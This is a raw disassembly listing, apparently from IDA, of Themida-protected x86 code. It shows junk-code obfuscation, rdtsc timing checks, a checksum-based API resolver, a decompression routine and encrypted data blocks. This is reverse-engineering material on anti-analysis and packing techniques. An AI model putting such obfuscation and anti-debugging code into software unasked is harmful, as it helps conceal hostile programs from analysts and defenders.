		jmp	loc_54EFCF
; ---------------------------------------------------------------------------
		dw 0F458h
		db 70h,	83h, 0C8h
; ---------------------------------------------------------------------------


loc_54EFCF:				; CODE XREF: Themida_:0054EFC5j
		add	eax, [esp+24h]
		sub	[ebp+6100C49h],	eax
		or	[ebp+6101BCDh],	ebx
		nop
		jo	loc_54EFFB
		push	eax
		push	edx
		jmp	loc_54EFF5
; ---------------------------------------------------------------------------
		db 0A5h, 2 dup(63h)
		dd 200DBB01h
		db 85h
; ---------------------------------------------------------------------------


loc_54EFF5:				; CODE XREF: Themida_:0054EFE8j
		rdtsc
		pusha
		popa
		pop	edx
		pop	eax


loc_54EFFB:				; CODE XREF: Themida_:0054EFE0j
		push	eax
		jp	near ptr loc_54F015+2
		pusha
		call	near ptr loc_54F00D+3
		sbb	eax, 0ABFD2AEh


loc_54F00D:				; CODE XREF: Themida_:0054F003p
		add	esi, [ebp-6C47A407h]
		adc	al, 2Ah


loc_54F015:				; CODE XREF: Themida_:0054EFFCj
		push	0ABF59061h
		mov	[ebp+610166Dh],	edi
		pusha
		mov	ax, 4891h
		jz	loc_54F031
		jno	$+6


loc_54F031:				; CODE XREF: Themida_:0054F025j
		popa
		lea	edi, [ebp+6100601h]
		jmp	loc_54F048
; ---------------------------------------------------------------------------
		db 0FAh, 58h, 0BEh
		dd 21804C49h, 0A94A45EEh
; ---------------------------------------------------------------------------


loc_54F048:				; CODE XREF: Themida_:0054F038j
		stc
		lodsd
		clc
		add	eax, [esp+28h]
		cld
		jmp	loc_54F05D
; ---------------------------------------------------------------------------
		db 47h,	92h, 0B7h
		dd 0F07AB77Eh
		db 1Bh
; ---------------------------------------------------------------------------


loc_54F05D:				; CODE XREF: Themida_:0054F050j
		stosd
		sub	[ebp+6101F69h],	edx
		pop	esi
		xor	[ebp+61006FDh],	edi


loc_54F06B:				; CODE XREF: Themida_:0054F0F7j
		dec	dword ptr [ebp+6103A19h]
		cmp	dword ptr [ebp+6103A19h], 0
		jnz	short loc_54F08A
		mov	dword ptr [esp+1Ch], 0
		lea	esi, [ebp+6103E4Ah]
		jmp	esi
; ---------------------------------------------------------------------------


loc_54F08A:				; CODE XREF: Themida_:0054F078j
		push	esi
		lodsd
		add	eax, [esp+28h]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+61023E5h]
		test	al, al
		jz	short loc_54F0A1
		cmp	al, [edi]
		jnz	short loc_54F0ED


loc_54F0A1:				; CODE XREF: Themida_:0054F09Bj
		push	edi
		xor	al, al


loc_54F0A4:				; CODE XREF: Themida_:0054F0A5j
		scasb
		jnz	short loc_54F0A4
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_54F0B1:				; CODE XREF: Themida_:0054F0DAj
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_54F0C0:				; CODE XREF: Themida_:0054F0D3j
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_54F0D1
		xor	ax, 5041h
		xor	bx, 5449h


loc_54F0D1:				; CODE XREF: Themida_:0054F0C6j
		dec	dh
		jnz	short loc_54F0C0
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_54F0B1
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_54F0FC


loc_54F0ED:				; CODE XREF: Themida_:0054F09Fj
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+6101475h]
		jmp	loc_54F06B
; ---------------------------------------------------------------------------


loc_54F0FC:				; CODE XREF: Themida_:0054F0EBj
		pop	esi
		jmp	loc_54F10C
; ---------------------------------------------------------------------------
		fistp	dword ptr [ebp+7CD353B7h]
		pop	edi
		stosb
		db	26h
		dec	esi


loc_54F10C:				; CODE XREF: Themida_:0054F0FDj
		mov	[ebp+61008C1h],	edi
		mov	eax, [ebp+6101475h]
		or	[ebp+6102F35h],	ecx
		sub	[ebp+6101255h],	ebx
		shl	eax, 1
		mov	[ebp+6101295h],	esi
		add	eax, [ebp+6100601h]
		sub	[ebp+6101295h],	ebx
		sub	esi, esi
		pusha
		add	[ebp+61005F9h],	edx
		cmc
		popa
		xchg	eax, esi
		stc
		lodsw
		xor	[ebp+6102F61h],	ecx
		jg	loc_54F163
		jmp	loc_54F163
; ---------------------------------------------------------------------------
		dd 9AEF649Dh, 0F334AB4Ch
; ---------------------------------------------------------------------------
		clc
		pop	ds
		sahf


loc_54F163:				; CODE XREF: Themida_:0054F14Dj
					; Themida_:0054F153j
		shl	eax, 2
		clc
		add	eax, [ebp+61020B5h]
		jmp	loc_54F179
; ---------------------------------------------------------------------------
		dw 0ED8Eh
		dd 0ABD7DA8Bh
		db 11h
; ---------------------------------------------------------------------------


loc_54F179:				; CODE XREF: Themida_:0054F16Dj
		jz	loc_54F18A
		pusha
		mov	edx, 2F585F37h
		mov	bx, 63A5h
		popa


loc_54F18A:				; CODE XREF: Themida_:loc_54F179j
		xchg	eax, esi
		sub	[ebp+6101931h],	edi
		lodsd
		sub	[ebp+6100AFDh],	edx
		mov	ecx, [esp+24h]
		jmp	loc_54F1AC
; ---------------------------------------------------------------------------
		db 2Ah,	0E8h, 47h
		dd 0F6649EE1h, 0CDE1F487h
; ---------------------------------------------------------------------------


loc_54F1AC:				; CODE XREF: Themida_:0054F19Cj
		jp	loc_54F1BD
		pusha
		movzx	edx, di
		sub	[ebp+6100239h],	edx
		popa


loc_54F1BD:				; CODE XREF: Themida_:loc_54F1ACj
		add	eax, [esp+24h]
		mov	[ebp+6102E89h],	ebx
		mov	[esp+1Ch], eax
		js	loc_54F1DF
		pusha
		mov	[ebp+61006FDh],	edx
		mov	ebx, [ebp+6100165h]
		popa


loc_54F1DF:				; CODE XREF: Themida_:0054F1CBj
		xchg	eax, esi
		sub	[ebp+6103155h],	edx
		lodsb
		mov	[ebp+61021E5h],	edi
		xor	cl, cl
		jg	loc_54F20B
		jmp	loc_54F20B
; ---------------------------------------------------------------------------
		dw 9863h
		dd 0DE89B9C8h, 0AD1DE0BBh, 462F880h
		db 1Fh,	0CAh, 29h
; ---------------------------------------------------------------------------


loc_54F20B:				; CODE XREF: Themida_:0054F1EFj
					; Themida_:0054F1F5j
		mov	[ebp+6100119h],	eax
		inc	cl
		cmc


loc_54F214:				; CODE XREF: Themida_:0054F262j
		rcl	al, 1
		jnb	loc_54F2B5
		jmp	loc_54F22B
; ---------------------------------------------------------------------------
		db 51h,	34h, 11h
		dd 0A21E157Ch
		db 0A2h, 0FEh, 0CAh
; ---------------------------------------------------------------------------


loc_54F22B:				; CODE XREF: Themida_:0054F21Cj
		rcl	al, 1
		jnb	loc_54F2B5
		jmp	loc_54F23D
; ---------------------------------------------------------------------------
		dd 0A9C107C7h
		db 0BAh
; ---------------------------------------------------------------------------


loc_54F23D:				; CODE XREF: Themida_:0054F233j
		rcl	al, 1
		jb	loc_54F2B5
		jnb	loc_54F251
		sub	[ebp+6100BCDh],	esi


loc_54F251:				; CODE XREF: Themida_:0054F245j
		add	[ebp+6100E95h],	ebx
		rcl	al, 1
		jb	loc_54F2B5
		clc
		dec	cl
		jns	loc_54F214
		jns	loc_54F274
		sub	[ebp+6102A21h],	edi


loc_54F274:				; CODE XREF: Themida_:0054F268j
		add	esp, 20h
		cld
		mov	dword ptr [esp-4], 0
		mov	[ebp+6102D39h],	ecx
		mov	eax, 1
		mov	[ebp+6100A99h],	ebx
		lea	ecx, [ebp+61073A3h]
		jmp	loc_54F2A6
; ---------------------------------------------------------------------------
		dd 7CB3FFE9h, 0DF1734BFh
		db 6Dh,	61h
; ---------------------------------------------------------------------------


loc_54F2A6:				; CODE XREF: Themida_:0054F297j
		mov	[ebp+6100D55h],	eax
		jmp	ecx
; ---------------------------------------------------------------------------
		add	[ebp+61001C1h],	esi
		clc


loc_54F2B5:				; CODE XREF: Themida_:0054F216j
					; Themida_:0054F22Dj ...
		mov	byte ptr [ebp+61023E5h], 0
		mov	[ebp+61016ADh],	esi
		popa
		jmp	locret_54F2CF
; ---------------------------------------------------------------------------
		stosd
		and	bl, [esi-38h]
		pmulhuw	mm0, qword ptr [ebx]

locret_54F2CF:				; CODE XREF: Themida_:0054F2C3j
		retn	8
; ---------------------------------------------------------------------------
		pusha
		add	[ebp+610097Dh],	eax
		mov	di, 0F46Eh
		popa
		push	eax
		pusha
		mov	cx, 0FA6Dh
		push	eax
		push	edx
		jmp	loc_54F2FD
; ---------------------------------------------------------------------------
		db 0D7h
		dd 0B5B131F4h, 39D1DE7Fh, 30AD4D67h, 5155DEDBh
		db 0B4h
; ---------------------------------------------------------------------------


loc_54F2FD:				; CODE XREF: Themida_:0054F2E6j
		rdtsc
		pusha
		popa
		pop	edx
		pop	eax
		popa
		mov	[esp], esi
		pusha
		add	eax, [ebp+610143Dh]
		jnb	loc_54F31A
		mov	[ebp+6100F25h],	edi


loc_54F31A:				; CODE XREF: Themida_:0054F30Ej
		popa
		mov	[ebp+610404Ah],	esi
		sub	[ebp+6102FDDh],	edi
		mov	[ebp+610405Ah],	ecx
		mov	[ebp+610092Dh],	edi
		lea	esi, [ebp+6103F1Ah]
		jmp	loc_54F344
; ---------------------------------------------------------------------------
		dw 161Eh
		dd 0EFBE86A0h
; ---------------------------------------------------------------------------


loc_54F344:				; CODE XREF: Themida_:0054F339j
		lea	eax, dword_5B8EA1[ebp]
		pusha
		sub	[ebp+6100099h],	esi
		popa
		call	eax
		pusha
		mov	edi, [ebp+6100D3Dh]
		mov	bx, si
		popa
		sub	[ebp+6100BD5h],	ebx
		pop	esi
		jmp	loc_54F37B
; ---------------------------------------------------------------------------
		db 24h
		dd 9A350C25h, 72215CBAh, 6E588A4Dh
		db 0C8h, 3Fh, 52h
; ---------------------------------------------------------------------------


loc_54F37B:				; CODE XREF: Themida_:0054F366j
		clc
		retn
; ---------------------------------------------------------------------------
		xor	[ebp+6102119h],	ecx
		pusha
		popa
		mov	esi, [ebp+610404Ah]
		jnz	loc_54F39C
		jmp	loc_54F39C
; ---------------------------------------------------------------------------
		dw 63DEh
		dd 448C5452h
; ---------------------------------------------------------------------------


loc_54F39C:				; CODE XREF: Themida_:0054F38Bj
					; Themida_:0054F391j
		mov	ecx, [ebp+610405Ah]
		jmp	loc_54F3B4
; ---------------------------------------------------------------------------
		sub	ch, 0DDh
		retn	6492h
; ---------------------------------------------------------------------------
		stosb
		cmp	eax, 0B06FB12Bh
		pop	edi


loc_54F3B4:				; CODE XREF: Themida_:0054F3A2j
		sub	eax, eax
		pusha
		stc
		popa
		mov	ebx, ecx
		stc
		cmc
		jmp	loc_54F488
; ---------------------------------------------------------------------------
		jmp	loc_54F3D5
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0E27565C4h, 157FD26Eh, 0A7CFDBDFh
; ---------------------------------------------------------------------------
		wait


loc_54F3D5:				; CODE XREF: Themida_:0054F3C2j
					; Themida_:0054F48Aj
		xor	ah, [esi]
		jo	loc_54F3EA
		jmp	loc_54F3EA
; ---------------------------------------------------------------------------
		db 90h
		db 0F4h
		dd 46B6DA88h
		db 5Dh,	1Ch
; ---------------------------------------------------------------------------


loc_54F3EA:				; CODE XREF: Themida_:0054F3D7j
					; Themida_:0054F3DDj
		mov	dl, 2
		pusha
		ja	loc_54F3F8
		sbb	dx, 5F56h


loc_54F3F8:				; CODE XREF: Themida_:0054F3EDj
		popa
		jmp	loc_54F457
; ---------------------------------------------------------------------------
		mov	[ebp+6100CA1h],	ebx


loc_54F404:				; CODE XREF: Themida_:0054F459j
		xor	al, dl
		xor	[ebp+6101C91h],	ebx
		add	eax, 8A751D7Ah
		clc
		mov	cl, ah
		jge	loc_54F420
		mov	[ebp+6100BCDh],	eax


loc_54F420:				; CODE XREF: Themida_:0054F414j
		ror	eax, cl
		mov	[ebp+6101C1Dh],	ebx
		xor	eax, 98D10842h
		jl	loc_54F440
		pusha
		sbb	cx, 0D272h
		mov	[ebp+61015A1h],	edi
		popa


loc_54F440:				; CODE XREF: Themida_:0054F42Dj
		jmp	loc_54F454
; ---------------------------------------------------------------------------
		db 0AAh, 13h, 0BFh
		dd 19733905h, 24EA61Ch,	908DE8B0h
; ---------------------------------------------------------------------------


loc_54F454:				; CODE XREF: Themida_:loc_54F440j
		dec	dl
		cld


loc_54F457:				; CODE XREF: Themida_:0054F3F9j
		or	dl, dl
		jnz	loc_54F404
		pusha
		mov	ah, 94h
		mov	dh, 0ABh
		popa
		dec	ebx
		jnp	loc_54F474
		pusha
		sub	[ebp+6100AF1h],	ebx
		popa


loc_54F474:				; CODE XREF: Themida_:0054F466j
		inc	esi
		jmp	loc_54F488
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		xchg	eax, ecx
		dec	edx
		std
		imul	byte ptr [esi]
		xchg	ch, [edx+edx*8+3EA09E05h]


loc_54F488:				; CODE XREF: Themida_:0054F3BDj
					; Themida_:0054F475j
		or	ebx, ebx
		jnz	loc_54F3D5
		jle	locret_54F4AE
		jb	locret_54F4AE
		jmp	locret_54F4AE
; ---------------------------------------------------------------------------
		inc	edx
		push	ecx
		mov	ecx, [esi+45BC39A4h]
		mov	al, ds:8AA2361Fh

locret_54F4AE:				; CODE XREF: Themida_:0054F490j
					; Themida_:0054F496j ...
		iret
; ---------------------------------------------------------------------------
		db 89h
		dd 102A0195h, 1000006h,	101A759Dh, 89000006h, 1011F9BDh
		dd 60000006h, 94E08166h, 6130h,	18E19529h
; ---------------------------------------------------------------------------
		adc	[esi], al


loc_54F4D6:				; CODE XREF: Themida_:loc_54EE88j
		lea	eax, [ebp+6103A32h]
		pusha
		sbb	bx, 9EFFh
		pusha
		add	si, 25C4h
		popa
		popa
		mov	[ebp+6101921h],	eax
		stc
		lea	eax, [ebp+6103E73h]
		jno	loc_54F503
		mov	[ebp+6100479h],	ebx


loc_54F503:				; CODE XREF: Themida_:0054F4F7j
		mov	[ebp+61006D5h],	eax
		call	sub_54F51E
		insb
		db	3Eh
		cmps	byte ptr ds:[esi], byte	ptr es:[edi]
		enter	3E7h, 0C0h	; CODE XREF: sub_54F51E+6Cj
		fldenv	byte ptr [esi+31F21421h]
		inc	edi
		loopne	near ptr loc_54F544+3

; =============== S U B	R O U T	I N E =======================================



sub_54F51E	proc near		; CODE XREF: Themida_:0054F509p
		push	ecx
		add	cl, 30h
		pop	esi
		pop	edx
		mov	edi, ebx
		add	edx, 74B5h
		mov	edi, ecx
		mov	eax, 0
		mov	si, bx


loc_54F536:				; CODE XREF: Themida_:0054F5D9j
		mov	ebx, [edx+eax]
		mov	edi, 89F1AB2h
		xor	ebx, 307DD576h


loc_54F544:				; CODE XREF: Themida_:0054F51Cj
		mov	[ebp+6102E69h],	ecx
		xor	ebx, 26F7B06Bh
		xor	ebx, 274C0399h
		jmp	loc_54F567
; ---------------------------------------------------------------------------
		db 65h
		dd 0DCAAFD16h, 5F9AC863h
		db 0F8h, 0ABh, 0B0h
; ---------------------------------------------------------------------------


loc_54F567:				; CODE XREF: sub_54F51E+38j
		mov	[edx+eax], ebx
		or	[ebp+610311Dh],	ebx
		mov	[ebp+6101281h],	edx
		sub	eax, 63CE58E1h
		movsx	edi, cx
		add	eax, 63CE58DDh
		call	near ptr loc_54F593+2
		jge	short near ptr loc_54F511+3
		int	49h		; Texas	Instruments PC - VIDEO I/O???
		xor	esp, ecx
		pop	edx
		xor	ebx, [ebx]


loc_54F593:				; CODE XREF: sub_54F51E+67p
		and	eax, 0BD9D8959h
sub_54F51E	endp ; sp-analysis failed

		xor	[eax], dl
		push	es
		pop	esi
		cmp	eax, 0FFFF8C1Ch
		jnz	loc_54F5D0
		call	near ptr loc_54F5B1+6
		or	ah, [ecx+39h]
		push	edi


loc_54F5B1:				; CODE XREF: Themida_:0054F5A8p
		repne cmp byte ptr [edx+6602DB74h], 0BFh
		int	0FFh		; AT/XT286/PS50+ - destroyed by	return from protected mode
		pop	edi
		jmp	loc_54F5E3
; ---------------------------------------------------------------------------
		db 1Fh,	60h, 8Eh
		dd 27AD3AF3h, 87527C98h, 0EF54F3D0h
; ---------------------------------------------------------------------------


loc_54F5D0:				; CODE XREF: Themida_:0054F5A2j
		pusha
		mov	ebx, 5DA2DEFh
		mov	dh, 39h
		popa
		jmp	loc_54F536
; ---------------------------------------------------------------------------
		dw 21E6h
; ---------------------------------------------------------------------------
		aam	0A7h
		push	es


loc_54F5E3:				; CODE XREF: Themida_:0054F5BCj
		jmp	short loc_54F5F9
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		dd 8500h
		db 0
; ---------------------------------------------------------------------------


loc_54F5F9:				; CODE XREF: Themida_:loc_54F5E3j
		lea	eax, [ebp+6104245h]
		mov	[ebp+6100129h],	eax
		cmp	dword ptr [ebp+6104186h], 0
		jz	loc_54F73D
		mov	byte ptr [ebp+61023E5h], 56h
		call	near ptr loc_54F621+1
		cmp	[ebp+1Fh], ebp


loc_54F621:				; CODE XREF: Themida_:0054F619p
		aam	50h
		mov	eax, [esp+4]
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+6101499h]
		lea	eax, [ebp+6103A32h]
		call	eax
		mov	[ebp+610417Ah],	eax
		mov	byte ptr [ebp+61023E5h], 56h
		push	9EA13B73h
		xor	dword ptr [esp], 2098321h
		push	dword ptr [ebp+6101499h]
		lea	eax, [ebp+6103A32h]
		call	eax
		mov	[ebp+610417Eh],	eax
		push	4
		push	0F54F73A3h
		add	dword ptr [esp], 0AB09C5Dh
		mov	eax, [ebp+610418Ah]
		add	eax, 1F4h
		shl	eax, 2
		nop
		push	eax
		nop
		push	0
		call	dword ptr [ebp+610417Eh]
		mov	[ebp+6104182h],	eax
		mov	ebx, eax
		mov	eax, 0FFFFFFFFh
		call	dword ptr [ebp+6100129h]
		mov	eax, ebx
		call	dword ptr [ebp+6100129h]
		jmp	loc_54F73D
; ---------------------------------------------------------------------------


loc_54F6B0:				; DATA XREF: Themida_:0054B594o
		cmp	dword ptr [ebp+6104186h], 0
		jnz	loc_54F6BE
		retn
; ---------------------------------------------------------------------------


loc_54F6BE:				; CODE XREF: Themida_:0054F6B7j
		push	edi
		mov	edi, [ebp+6104182h]
		stosd
		add	dword ptr [ebp+6104182h], 4
		pop	edi
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+6104186h], 0
		jnz	loc_54F6DD
		retn
; ---------------------------------------------------------------------------


loc_54F6DD:				; CODE XREF: Themida_:0054F6D6j
		pusha
		sub	dword ptr [ebp+6104182h], 4


loc_54F6E5:				; CODE XREF: Themida_:loc_54F738j
		mov	ebx, [ebp+6104182h]
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	loc_54F712
		push	424FD66Ah
		xor	dword ptr [esp], 424F566Ah
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+610417Ah]
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_54F738
; ---------------------------------------------------------------------------


loc_54F712:				; CODE XREF: Themida_:0054F6EFj
		call	near ptr loc_54F717+4


loc_54F717:				; CODE XREF: Themida_:loc_54F712p
		add	[eax-74B00000h], al
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+610417Ah]
		sub	dword ptr [ebp+6104182h], 4


loc_54F738:				; CODE XREF: Themida_:0054F70Dj
		jmp	loc_54F6E5
; ---------------------------------------------------------------------------


loc_54F73D:				; CODE XREF: Themida_:0054F60Cj
					; Themida_:0054F6ABj
		dec	eax
		jmp	loc_54F8F0
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h


loc_54F74F:				; CODE XREF: Themida_:loc_54F767j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_54F75A:				; CODE XREF: Themida_:0054F7E5j
					; Themida_:0054F84Dj ...
		add	dl, dl
		jnz	loc_54F767
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54F767:				; CODE XREF: Themida_:0054F75Cj
		jnb	loc_54F74F
		add	dl, dl
		jnz	loc_54F77A
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54F77A:				; CODE XREF: Themida_:0054F76Fj
		jnb	loc_54F7EA
		xor	eax, eax
		add	dl, dl
		jnz	loc_54F78F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54F78F:				; CODE XREF: Themida_:0054F784j
		jnb	loc_54F8BF
		add	dl, dl
		jnz	loc_54F7A2
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54F7A2:				; CODE XREF: Themida_:0054F797j
		adc	eax, eax
		add	dl, dl
		jnz	loc_54F7B1
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54F7B1:				; CODE XREF: Themida_:0054F7A6j
		adc	eax, eax
		add	dl, dl
		jnz	loc_54F7C0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54F7C0:				; CODE XREF: Themida_:0054F7B5j
		adc	eax, eax
		add	dl, dl
		jnz	loc_54F7CF
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54F7CF:				; CODE XREF: Themida_:0054F7C4j
		adc	eax, eax
		jz	loc_54F7DD
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_54F7DD:				; CODE XREF: Themida_:0054F7D1j
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_54F75A
; ---------------------------------------------------------------------------


loc_54F7EA:				; CODE XREF: Themida_:loc_54F77Aj
		mov	eax, 1


loc_54F7EF:				; CODE XREF: Themida_:loc_54F80Bj
		add	dl, dl
		jnz	loc_54F7FC
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54F7FC:				; CODE XREF: Themida_:0054F7F1j
		adc	eax, eax
		add	dl, dl
		jnz	loc_54F80B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54F80B:				; CODE XREF: Themida_:0054F800j
		jb	loc_54F7EF
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_54F852
		mov	ecx, 1


loc_54F823:				; CODE XREF: Themida_:loc_54F83Fj
		add	dl, dl
		jnz	loc_54F830
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54F830:				; CODE XREF: Themida_:0054F825j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_54F83F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54F83F:				; CODE XREF: Themida_:0054F834j
		jb	loc_54F823
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_54F75A
; ---------------------------------------------------------------------------


loc_54F852:				; CODE XREF: Themida_:0054F818j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_54F860:				; CODE XREF: Themida_:loc_54F87Cj
		add	dl, dl
		jnz	loc_54F86D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54F86D:				; CODE XREF: Themida_:0054F862j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_54F87C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54F87C:				; CODE XREF: Themida_:0054F871j
		jb	loc_54F860
		cmp	eax, 7D00h
		jnb	loc_54F8AF
		cmp	eax, 500h
		jb	loc_54F8A6
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_54F75A
; ---------------------------------------------------------------------------


loc_54F8A6:				; CODE XREF: Themida_:0054F892j
		cmp	eax, 7Fh
		ja	loc_54F8B2


loc_54F8AF:				; CODE XREF: Themida_:0054F887j
		add	ecx, 2


loc_54F8B2:				; CODE XREF: Themida_:0054F8A9j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_54F75A
; ---------------------------------------------------------------------------


loc_54F8BF:				; CODE XREF: Themida_:loc_54F78Fj
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_54F8E4
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_54F75A
; ---------------------------------------------------------------------------


loc_54F8E4:				; CODE XREF: Themida_:0054F8C7j
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_54F8F0:				; CODE XREF: Themida_:0054F73Ej
		mov	edx, 929h
		jmp	loc_5502CD
; ---------------------------------------------------------------------------
		dw 7841h
		dd 0D102AABCh, 3ED10BACh, 6463365Fh, 754261F1h,	17C2AAEDh
		dd 63606957h, 0FE5533A3h, 5E1C8DA6h, 9309A7BCh,	29C303A0h
		dd 7672650Dh, 3E4D24F6h, 1DB2C982h, 627D7D5Dh, 0FE5561AFh
		dd 5D138BA4h, 9313A7BCh, 36D91EBFh, 686E7B0Dh, 305933EDh
		dd 5186AAE9h, 737D794Ah, 0B05433E2h, 4B078BB1h,	0DC15BEBCh
		dd 36D71EBEh, 3, 62h dup(0)
		dd 78410000h, 0DD08A3BCh, 29D918B0h, 6A79660Dh,	7D4133E5h
		dd 283ACA8h, 626B7E18h,	0FF4661EDh, 19168ABDh, 0DD09BBEEh
		dd 7BD102B0h, 7C2B7844h, 305234EDh, 591BDFBh, 0D20715Dh
		dd 0F54C118Eh, 151797A9h, 0DF09BBBCh, 7BD20DB6h, 632B6244h
		dd 304D2EF0h, 1E8FA1E5h, 662E654Ah, 0E20025EDh,	580697ADh
		dd 0CA47BAEEh, 7BC419B6h, 6264645Dh, 3E4D20F0h,	48h dup(0)
		dd 78410000h, 0D215ADBCh, 29D307BAh, 712B650Ah,	304C2EEDh
		dd 5191A5E0h, 696B795Ah, 0E54F27A3h, 4B5280A6h,	0DA09A0E9h
		dd 32960BB7h, 6A723643h, 630033F7h, 1496B7F1h, 0A043255h
		dd 0F1452DD3h, 195E81BBh, 0DC0BA0E9h, 329608B8h, 776D3659h
		dd 7D002CEDh, 38DA9EDh,	696F3C41h, 0F55261E7h, 4B1390BBh
		dd 0DC1EEEE8h, 2B961EACh, 776C795Fh, 0E2CE3h, 61h dup(0)
		dd 7F410000h, 9302A2F5h, 29C403BAh, 607F6658h, 300E60E6h
		dd 28BACDCh, 687C6C18h,	0FD4133E4h, 4A138CE8h, 0D602ACBCh
		dd 3ADB4CB7h, 707B7F43h, 755420EEh, 1F83E4ECh, 66633C5Ch
		dd 9A4523FAh, 1E068DC5h, 0DD0EEEEFh, 2FD509BFh,	672B7248h
		dd 304161FBh, 490ADDEh,	75613C4Bh, 0F15222A3h, 5D178FABh
		dd 0DB33EEB2h, 3D961FB0h, 256E7A44h, 374E2EF5h,	1E95E4FCh
		dd 662E774Ah, 0FF4D38EDh, 5C81BAh, 0E0h	dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_5502CD:				; CODE XREF: Themida_:0054F8F5j
		jmp	loc_5531F1
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5502DD
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5502DD	proc near		; CODE XREF: Themida_:005502D5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5502DD	endp

; ---------------------------------------------------------------------------
		jno	short near ptr loc_5502FD+1
		xchg	eax, edi
		cld
		push	0
		push	eax
		call	sub_5502FC
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5502FC	proc near		; CODE XREF: Themida_:005502F4p

arg_4		= dword	ptr  8

		pop	eax


loc_5502FD:				; CODE XREF: Themida_:005502EDj
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5502FC	endp

; ---------------------------------------------------------------------------
		lodsd
		fld	qword ptr [edx]
		pop	ebp
		pusha
		fdiv	qword ptr [ecx-42F6D586h]
		cmp	eax, 8B061006h
		popf
		push	ebp
		adc	al, 10h
		push	es
		mov	eax, eax
		push	0
		push	ecx
		call	sub_55032E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55032E	proc near		; CODE XREF: Themida_:00550326p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_55032E	endp

; ---------------------------------------------------------------------------
		dw 41E0h
		dd 0AA746B83h, 4CC72FEDh, 83ACF780h, 10158DBDh,	9750006h
		dd 95BD83h, 74000610h, 8B535013h, 1B8C0h, 9D8D0000h, 612B6B7h
		dd 585BD3FFh, 95BD83h, 74000610h, 0B8535011h, 1, 0B5689D8Dh
		dd 0D3FF0612h, 6060585Bh, 2A359D01h, 66610610h,	8729C681h
		dd 0E9605661h, 0Ah, 0A3FCD63Ch,	388A2DC1h, 61F57AE3h, 0F5C08B5Ah
		dd 2D65BD83h, 0F000610h, 18B84h, 0BBCB600h, 102ECD95h
		dd 65BD8306h, 6102Fh, 176840Fh,	6E90000h, 7A000000h, 1A4E4E3Ah
		dd 0D68060B6h, 65858BE2h, 0E906102Fh, 8, 7420169Eh, 51086A49h
		dd 3E805h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
